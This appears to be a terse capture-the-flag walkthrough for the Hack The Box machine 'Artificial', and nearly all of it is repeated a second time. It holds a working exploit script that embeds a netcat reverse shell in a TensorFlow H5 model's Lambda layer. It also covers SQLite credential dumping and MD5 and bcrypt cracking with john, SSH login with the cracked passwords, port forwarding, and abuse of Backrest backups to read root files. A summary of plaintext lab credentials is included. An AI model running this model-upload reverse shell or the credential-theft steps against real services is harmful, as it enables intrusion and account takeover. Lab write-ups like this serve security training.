Feb 05, 2026, 10:25 AM
TARGET: ARTIFICIAL.HTB
IP: 10.10.11.74
Hostname: artificial.htb
INITIAL ACCESS
---------------------------------------
Vuln: https://splint.gitbook.io/cyberblog/secu...ious-model
Webapp allows uploading TensorFlow H5 models - executes Lambda layer code during inference
exploit.py:
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1337 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Build exploit (must be in docker or right env):
docker run -it --rm \
-v "$PWD":/workspace \
-w /workspace \
tensorflow/tensorflow:2.13.0 python3 exploit.py
Execute:
# Listener
nc -lvnp 1337
# Upload exploit.h5 via web interface
# Click "Show Prediction" to trigger payload
# Shell as uid-100 (app group)
DB CREDS EXTRACT
-------------------
Find SQLite DB:
find . -name "*.db" 2>/dev/null
sqlite3 users.db
.tables
SELECT * FROM user;
Extracted hashes:
gael:c99175974b6e192936d97224638a34f8
mark:0f3d8c76530022670f1c6029eed09ccb
robert:b606c5f5136170f15444251665638b36
royer:bc25b1f80f544c0ab451c02a3dca9fc6
mary:bf041041e57f1aff3be7ea1abd6129d0
Crack with john:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes.txt
Cracked:
gael:mattp005numbertwo
royer:marwinnarak043414036
SSH ACCESS
------------------
ssh [email protected]
password: mattp005numbertwo
cat user.txt
PORT DISCOVERY
--------------
netstat -tlnp | grep 127.0.0.1
Found port 9898 on 127.0.0.1 LISTEN
Port forward:
ssh -L 9898:127.0.0.1:9898 [email protected]
BACKREST RECON
--------------
Creds already found don't work - need to search for backup on server
find / -type f -name "*backup*" 2>/dev/null
Found: /var/backups/backrest_backup.tar.gz
Download and extract backrest_backup.tar.gz:
├── backrest
├── .config
│ └── backrest
│ └── config.json
├── install.sh
├── jwt-secret
├── oplog.sqlite
├── oplog.sqlite.lock
├── oplog.sqlite-shm
├── oplog.sqlite-wal
├── processlogs
│ └── backrest.log
├── restic
└── tasklogs
├── .inprogress
├── logs.sqlite
├── logs.sqlite-shm
└── logs.sqlite-wal
cat config.json:
{
"auth": {
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
Crack bcrypt hash:
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > hash.bcrypt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.bcrypt
Password: backrest_root:!@#$%^
PRIVESC
------------------------
Backrest access:
URL: http://localhost:9898
Creds: backrest_root / !@#$%^
Create repo first before creating plan:
Name: test
Type: Local
Path: /tmp
Create backup plan to grab root.txt:
Name: exploit
Repository: test
Paths: /root/
Get root.txt:
1. Execute backup via "Backup Now"
2. Wait for green status
3. Click completed backup → "Snapshot Browser"
4. Navigate to /root/root.txt in snapshot browser
5. Restore to /etc/root
6. Download restored file
Got root.txt flag
(can also get revshell with hook command option in plan)
CREDENTIALS SUMMARY (for noob)
-------------------
gael:mattp005numbertwo (SSH)
royer:marwinnarak043414036 (cracked hash)
backrest_root:!@#$%^ (Backrest web interface)
IP: 10.10.11.74
Hostname: artificial.htb
INITIAL ACCESS
---------------------------------------
Vuln: https://splint.gitbook.io/cyberblog/secu...ious-model
Webapp allows uploading TensorFlow H5 models - executes Lambda layer code during inference
exploit.py:
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1337 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Build exploit (must be in docker or right env):
docker run -it --rm \
-v "$PWD":/workspace \
-w /workspace \
tensorflow/tensorflow:2.13.0 python3 exploit.py
Execute:
# Listener
nc -lvnp 1337
# Upload exploit.h5 via web interface
# Click "Show Prediction" to trigger payload
# Shell as uid-100 (app group)
DB CREDS EXTRACT
-------------------
Find SQLite DB:
find . -name "*.db" 2>/dev/null
sqlite3 users.db
.tables
SELECT * FROM user;
Extracted hashes:
gael:c99175974b6e192936d97224638a34f8
mark:0f3d8c76530022670f1c6029eed09ccb
robert:b606c5f5136170f15444251665638b36
royer:bc25b1f80f544c0ab451c02a3dca9fc6
mary:bf041041e57f1aff3be7ea1abd6129d0
Crack with john:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes.txt
Cracked:
gael:mattp005numbertwo
royer:marwinnarak043414036
SSH ACCESS
------------------
ssh [email protected]
password: mattp005numbertwo
cat user.txt
PORT DISCOVERY
--------------
netstat -tlnp | grep 127.0.0.1
Found port 9898 on 127.0.0.1 LISTEN
Port forward:
ssh -L 9898:127.0.0.1:9898 [email protected]
BACKREST RECON
--------------
Creds already found don't work - need to search for backup on server
find / -type f -name "*backup*" 2>/dev/null
Found: /var/backups/backrest_backup.tar.gz
Download and extract backrest_backup.tar.gz:
├── backrest
├── .config
│ └── backrest
│ └── config.json
├── install.sh
├── jwt-secret
├── oplog.sqlite
├── oplog.sqlite.lock
├── oplog.sqlite-shm
├── oplog.sqlite-wal
├── processlogs
│ └── backrest.log
├── restic
└── tasklogs
├── .inprogress
├── logs.sqlite
├── logs.sqlite-shm
└── logs.sqlite-wal
cat config.json:
{
"auth": {
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
Crack bcrypt hash:
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > hash.bcrypt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.bcrypt
Password: backrest_root:!@#$%^
PRIVESC
------------------------
Backrest access:
URL: http://localhost:9898
Creds: backrest_root / !@#$%^
Create repo first before creating plan:
Name: test
Type: Local
Path: /tmp
Create backup plan to grab root.txt:
Name: exploit
Repository: test
Paths: /root/
Get root.txt:
1. Execute backup via "Backup Now"
2. Wait for green status
3. Click completed backup → "Snapshot Browser"
4. Navigate to /root/root.txt in snapshot browser
5. Restore to /etc/root
6. Download restored file
Got root.txt flag
(can also get revshell with hook command option in plan)
CREDENTIALS SUMMARY (for noob)
-------------------
gael:mattp005numbertwo (SSH)
royer:marwinnarak043414036 (cracked hash)
backrest_root:!@#$%^ (Backrest web interface)
